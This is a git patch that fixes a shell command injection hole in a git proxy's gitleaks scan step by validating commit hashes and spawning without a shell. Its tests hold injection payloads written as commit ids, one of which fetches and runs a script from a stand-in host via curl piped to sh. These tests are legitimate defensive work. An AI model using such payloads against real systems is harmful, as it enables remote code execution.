From 059d6fee4d2aea847bfa8ad5ce1c2cd6a777db6c Mon Sep 17 00:00:00 2001 From: Devin AI <158243242+devin-ai-integration[bot]@users.noreply.github.com> Date: Thu, 5 Nov 2026 05:57:32 +0000 Subject: [PATCH] fix(gitleaks): block shell command injection via push commit ids (bug) Validate old/new commit ids in parsePush as full 40/64-char lowercase hex, spawn gitleaks without a shell, pass --log-opts as a single argument and refuse to scan a non-hash commit range. Co-Authored-By: Samir Chaudhry --- src/proxy/processors/constants.ts | 2 + src/proxy/processors/push-action/gitleaks.ts | 12 +++- src/proxy/processors/push-action/parsePush.ts | 6 ++ test/processors/gitLeaks.test.ts | 60 +++++++++++++++++-- test/testParsePush.test.ts | 54 ++++++++++++++--- 5 files changed, 117 insertions(+), 17 deletions(-) diff --git a/src/proxy/processors/constants.ts b/src/proxy/processors/constants.ts index b6d369ac0..58c136008 100644 --- a/src/proxy/processors/constants.ts +++ b/src/proxy/processors/constants.ts @@ -18,6 +18,8 @@ import { CommitData } from './types'; export const BRANCH_PREFIX = 'refs/heads/'; export const EMPTY_COMMIT_HASH = '0000000000000000000000000000000000000000'; +/** Full SHA-1 (40 hex chars) or SHA-256 (64 hex chars) object id. */ +export const COMMIT_HASH_REGEX = /^(?:[0-9a-f]{40}|[0-9a-f]{64})$/; export const FLUSH_PACKET = '0000'; export const PACK_SIGNATURE = 'PACK'; export const PACKET_SIZE = 4; diff --git a/src/proxy/processors/push-action/gitleaks.ts b/src/proxy/processors/push-action/gitleaks.ts index 44b227ac8..d9e3f895d 100644 --- a/src/proxy/processors/push-action/gitleaks.ts +++ b/src/proxy/processors/push-action/gitleaks.ts @@ -22,6 +22,7 @@ import { Request } from 'express'; import { Action, Step } from '../../actions'; import { getAPIs } from '../../../config'; import { handleErrorAndLogInStep } from '../../../utils/errors'; +import { COMMIT_HASH_REGEX } from '../constants'; const EXIT_CODE = 99; function runCommand( @@ -34,7 +35,7 @@ function runCommand( stderr: string; }> { return new Promise((resolve, reject) => { - const child = spawn(command, args, { cwd, shell: true }); + const child = spawn(command, args, { cwd }); let stdout = ''; let stderr = ''; @@ -146,6 +147,13 @@ const exec = async (_req: Request, action: Action): Promise => { const { commitFrom, commitTo } = action; const workingDir = `${action.proxyGitPath}/${action.repoName}`; + + if (!COMMIT_HASH_REGEX.test(commitFrom ?? '') || !COMMIT_HASH_REGEX.test(commitTo ?? '')) { + step.setError('Invalid commit range, refusing to run gitleaks.'); + action.addStep(step); + return action; + } + step.log(`Scanning range with gitleaks: ${commitFrom}:${commitTo} in ${workingDir}`); try { @@ -171,7 +179,7 @@ const exec = async (_req: Request, action: Action): Promise => { 'git', // not using --no-merges to be sure we're scanning the diff // only add ^ if the commitFrom isn't the repo's rootCommit - `--log-opts='--first-parent ${rootCommit === commitFrom ? rootCommit : `${commitFrom}^`}..${commitTo}'`, + `--log-opts=--first-parent ${rootCommit === commitFrom ? rootCommit : `${commitFrom}^`}..${commitTo}`, ].filter((v) => typeof v === 'string'); const gitleaks = await runCommand(workingDir, 'gitleaks', gitleaksArgs); diff --git a/src/proxy/processors/push-action/parsePush.ts b/src/proxy/processors/push-action/parsePush.ts index 2a324c055..f73a9bbf3 100644 --- a/src/proxy/processors/push-action/parsePush.ts +++ b/src/proxy/processors/push-action/parsePush.ts @@ -23,6 +23,7 @@ import { Action, Step } from '../../actions'; import { CommitContent, CommitData, CommitHeader, PackMeta, PersonLine } from '../types'; import { BRANCH_PREFIX, + COMMIT_HASH_REGEX, EMPTY_COMMIT_HASH, PACK_SIGNATURE, PACKET_SIZE, @@ -77,6 +78,11 @@ async function exec(req: Request, action: Action): Promise { const [oldCommit, newCommit, ref] = parts; + if (!COMMIT_HASH_REGEX.test(oldCommit) || !COMMIT_HASH_REGEX.test(newCommit)) { + step.log('Invalid commit id in ref update.'); + throw new Error('Your push has been blocked. Invalid commit id in ref update.'); + } + // Strip everything after NUL, which is cap-list from // https://git-scm.com/docs/http-protocol#_smart_server_response action.branch = ref.replace(/\0.*/, '').trim(); diff --git a/test/processors/gitLeaks.test.ts b/test/processors/gitLeaks.test.ts index a5a24b103..90dfce6bc 100644 --- a/test/processors/gitLeaks.test.ts +++ b/test/processors/gitLeaks.test.ts @@ -50,6 +50,10 @@ vi.mock('node:child_process', async (importOriginal) => { }; }); +const COMMIT_FROM = 'a'.repeat(40); +const COMMIT_TO = 'b'.repeat(40); +const ROOT_COMMIT = 'c'.repeat(40); + describe('gitleaks', () => { describe('exec', () => { let exec: typeof import('../../src/proxy/processors/push-action/gitleaks').exec; @@ -79,8 +83,8 @@ describe('gitleaks', () => { action = new Action('1234567890', 'push', 'POST', 1234567890, 'test/repo.git'); action.proxyGitPath = '/tmp'; action.repoName = 'test-repo'; - action.commitFrom = 'abc123'; - action.commitTo = 'def456'; + action.commitFrom = COMMIT_FROM; + action.commitTo = COMMIT_TO; stepSpy = vi.spyOn(Step.prototype, 'setError'); }); @@ -120,7 +124,7 @@ describe('gitleaks', () => { const gitRootCommitMock = { exitCode: 0, - stdout: 'rootcommit123\n', + stdout: `${ROOT_COMMIT}\n`, stderr: '', }; @@ -162,7 +166,7 @@ describe('gitleaks', () => { const gitRootCommitMock = { exitCode: 0, - stdout: 'rootcommit123\n', + stdout: `${ROOT_COMMIT}\n`, stderr: '', }; @@ -203,7 +207,7 @@ describe('gitleaks', () => { const gitRootCommitMock = { exitCode: 0, - stdout: 'rootcommit123\n', + stdout: `${ROOT_COMMIT}\n`, stderr: '', }; @@ -294,7 +298,7 @@ describe('gitleaks', () => { const gitRootCommitMock = { exitCode: 0, - stdout: 'rootcommit123\n', + stdout: `${ROOT_COMMIT}\n`, stderr: '', }; @@ -350,5 +354,49 @@ describe('gitleaks', () => { 'gitleaks - Failed to get gitleaks config: Unable to read file at the provided config path: /invalid/path.toml', ); }); + it('should spawn gitleaks without a shell and pass --log-opts as a single argument', async () => { + vi.mocked(getAPIs).mockReturnValue({ gitleaks: { enabled: true } }); + + const mockProcess = (exitCode: number, stdout: string) => ({ + on: (event: string, cb: (exitCode: number) => void) => { + if (event === 'close') cb(exitCode); + }, + stdout: { on: (_: string, cb: (stdout: string) => void) => cb(stdout) }, + stderr: { on: (_: string, cb: (stderr: string) => void) => cb('') }, + }); + vi.mocked(spawn) + .mockReturnValueOnce(mockProcess(0, `${ROOT_COMMIT}\n`)) + .mockReturnValueOnce(mockProcess(0, '')); + + const result = await exec(req, action); + + expect(result.steps[0].error).toBe(false); + for (const call of vi.mocked(spawn).mock.calls) { + expect(call[2]).not.toHaveProperty('shell'); + } + const [command, args] = vi.mocked(spawn).mock.calls[1]; + expect(command).toBe('gitleaks'); + expect(args).toContain(`--log-opts=--first-parent ${COMMIT_FROM}^..${COMMIT_TO}`); + }); + + it.each([ + ['commitTo', "abc'$(touch${IFS}/tmp/pwned)'"], + ['commitTo', ":/.*|x'$(curl${IFS}evil/x|sh)'x"], + ['commitFrom', "abc'$(id)'"], + ['commitTo', undefined], + ] as const)( + 'should refuse to run gitleaks when %s is not a commit hash (%s)', + async (field, value) => { + vi.mocked(getAPIs).mockReturnValue({ gitleaks: { enabled: true } }); + action[field] = value; + + const result = await exec(req, action); + + expect(vi.mocked(spawn)).not.toHaveBeenCalled(); + expect(result.steps).toHaveLength(1); + expect(result.steps[0].error).toBe(true); + expect(result.steps[0].errorMessage).toContain('Invalid commit range'); + }, + ); }); }); diff --git a/test/testParsePush.test.ts b/test/testParsePush.test.ts index 62fda38c7..7e8fed6b1 100644 --- a/test/testParsePush.test.ts +++ b/test/testParsePush.test.ts @@ -33,6 +33,9 @@ import { Action } from '../src/proxy/actions/Action'; import { Request } from 'express'; import { Step } from '../src/proxy/actions/Step'; +const OLD_HASH = 'a'.repeat(40); +const NEW_HASH = 'b'.repeat(40); + /** * Creates a simplified sample PACK buffer for testing. * @param {number} numEntries - Number of entries in the PACK file. @@ -432,8 +435,8 @@ describe('parsePackFile', () => { it('should add error step if multiple ref updates found', async () => { const packetLines = [ - 'oldhash1 newhash1 refs/heads/main\0caps\n', - 'oldhash2 newhash2 refs/heads/develop\0caps\n', + `${OLD_HASH} ${NEW_HASH} refs/heads/main\0caps\n`, + `${OLD_HASH} ${NEW_HASH} refs/heads/develop\0caps\n`, ]; req.body = createPacketLineBuffer(packetLines); const result = await exec(req, action); @@ -448,7 +451,7 @@ describe('parsePackFile', () => { }); it('should add error step if extra part in ref update', async () => { - const packetLines = ['oldhash1 newhash1 extra-part refs/heads/main\0caps\n']; + const packetLines = [`${OLD_HASH} ${NEW_HASH} extra-part refs/heads/main\0caps\n`]; req.body = createPacketLineBuffer(packetLines); const result = await exec(req, action); @@ -461,6 +464,39 @@ describe('parsePackFile', () => { expect(step.logs[1]).toContain('Expected 3, but got 4'); }); + it.each([ + ['shell payload in new commit', OLD_HASH, "abc'$(touch${IFS}/tmp/pwned)'"], + ['git revision expression with payload', OLD_HASH, ":/.*|x'$(curl${IFS}evil/x|sh)'x"], + ['shell payload in old commit', "abc'$(id)'", NEW_HASH], + ['abbreviated hash', OLD_HASH, 'b'.repeat(7)], + ['uppercase hex', OLD_HASH, 'B'.repeat(40)], + ['wrong length', OLD_HASH, 'b'.repeat(41)], + ])( + 'should block a ref update with an invalid commit id (%s)', + async (_, oldCommit, newCommit) => { + req.body = createPacketLineBuffer([`${oldCommit} ${newCommit} refs/heads/main\0caps\n`]); + const result = await exec(req, action); + + expect(result).toBe(action); + const step = action.steps[0]; + expect(step.error).toBe(true); + expect(step.errorMessage).toContain('Invalid commit id in ref update'); + expect(action.setCommit).not.toHaveBeenCalled(); + expect(action.commitTo).not.toBe(newCommit); + }, + ); + + it('should accept SHA-256 commit ids in the ref update', async () => { + const oldCommit = 'c'.repeat(64); + const newCommit = 'd'.repeat(64); + req.body = createPacketLineBuffer([`${oldCommit} ${newCommit} refs/heads/main\0caps\n`]); + const result = await exec(req, action); + + const step = result.steps[0]; + expect(step.errorMessage).not.toContain('Invalid commit id'); + expect(step.errorMessage).toContain('PACK data is missing'); + }); + it('should add error step if PACK data is missing', async () => { const oldCommit = 'a'.repeat(40); const newCommit = 'b'.repeat(40); @@ -757,7 +793,7 @@ describe('parsePackFile', () => { 'tree 123\ntree 456\nparent 789\nauthor Test Author 1234567890 +0000\ncommitter Test Committer 1234567890 +0000\n\nCommit message'; const samplePackBuffer = createSamplePackBuffer(1, commitContent, 1); req.body = Buffer.concat([ - createPacketLineBuffer(['oldhash1 newhash1 refs/heads/main\0caps\n']), + createPacketLineBuffer([`${OLD_HASH} ${NEW_HASH} refs/heads/main\0caps\n`]), samplePackBuffer, ]); const result = await exec(req, action); @@ -772,7 +808,7 @@ describe('parsePackFile', () => { 'tree 123\nauthor Test Author 1234567890 +0000\nauthor Test Author 1234567890 +0000\nparent 789\ncommitter Test Committer 1234567890 +0000\n\nCommit message'; const samplePackBuffer = createSamplePackBuffer(1, commitContent, 1); req.body = Buffer.concat([ - createPacketLineBuffer(['oldhash1 newhash1 refs/heads/main\0caps\n']), + createPacketLineBuffer([`${OLD_HASH} ${NEW_HASH} refs/heads/main\0caps\n`]), samplePackBuffer, ]); const result = await exec(req, action); @@ -787,7 +823,7 @@ describe('parsePackFile', () => { 'tree 123\nauthor Test Author 1234567890 +0000\ncommitter Test Committer 1234567890 +0000\ncommitter Test Committer 1234567890 +0000\nparent 789\n\nCommit message'; const samplePackBuffer = createSamplePackBuffer(1, commitContent, 1); req.body = Buffer.concat([ - createPacketLineBuffer(['oldhash1 newhash1 refs/heads/main\0caps\n']), + createPacketLineBuffer([`${OLD_HASH} ${NEW_HASH} refs/heads/main\0caps\n`]), samplePackBuffer, ]); const result = await exec(req, action); @@ -802,7 +838,7 @@ describe('parsePackFile', () => { 'tree 123\nparent 789\nauthor Test Author 1234567890 +0000\ncommitter Test Committer 1234567890 +0000\n\nCommit message\n\n\n'; const samplePackBuffer = createSamplePackBuffer(1, commitContent, 1); req.body = Buffer.concat([ - createPacketLineBuffer(['oldhash1 newhash1 refs/heads/main\0caps\n']), + createPacketLineBuffer([`${OLD_HASH} ${NEW_HASH} refs/heads/main\0caps\n`]), samplePackBuffer, ]); const result = await exec(req, action); @@ -818,7 +854,7 @@ describe('parsePackFile', () => { 'tree 123\nparent 789\nauthor Test Author 1234567890 +0000\ncommitter Test Committer 1234567890 +0000\n\nCommit message '; const samplePackBuffer = createSamplePackBuffer(1, commitContent, 1); req.body = Buffer.concat([ - createPacketLineBuffer(['oldhash1 newhash1 refs/heads/main\0caps\n']), + createPacketLineBuffer([`${OLD_HASH} ${NEW_HASH} refs/heads/main\0caps\n`]), samplePackBuffer, ]); const result = await exec(req, action); @@ -833,7 +869,7 @@ describe('parsePackFile', () => { const commitContent = 'tree 123'; const samplePackBuffer = createSamplePackBuffer(1, commitContent, 1); req.body = Buffer.concat([ - createPacketLineBuffer(['oldhash1 newhash1 refs/heads/main\0caps\n']), + createPacketLineBuffer([`${OLD_HASH} ${NEW_HASH} refs/heads/main\0caps\n`]), samplePackBuffer, ]); const result = await exec(req, action);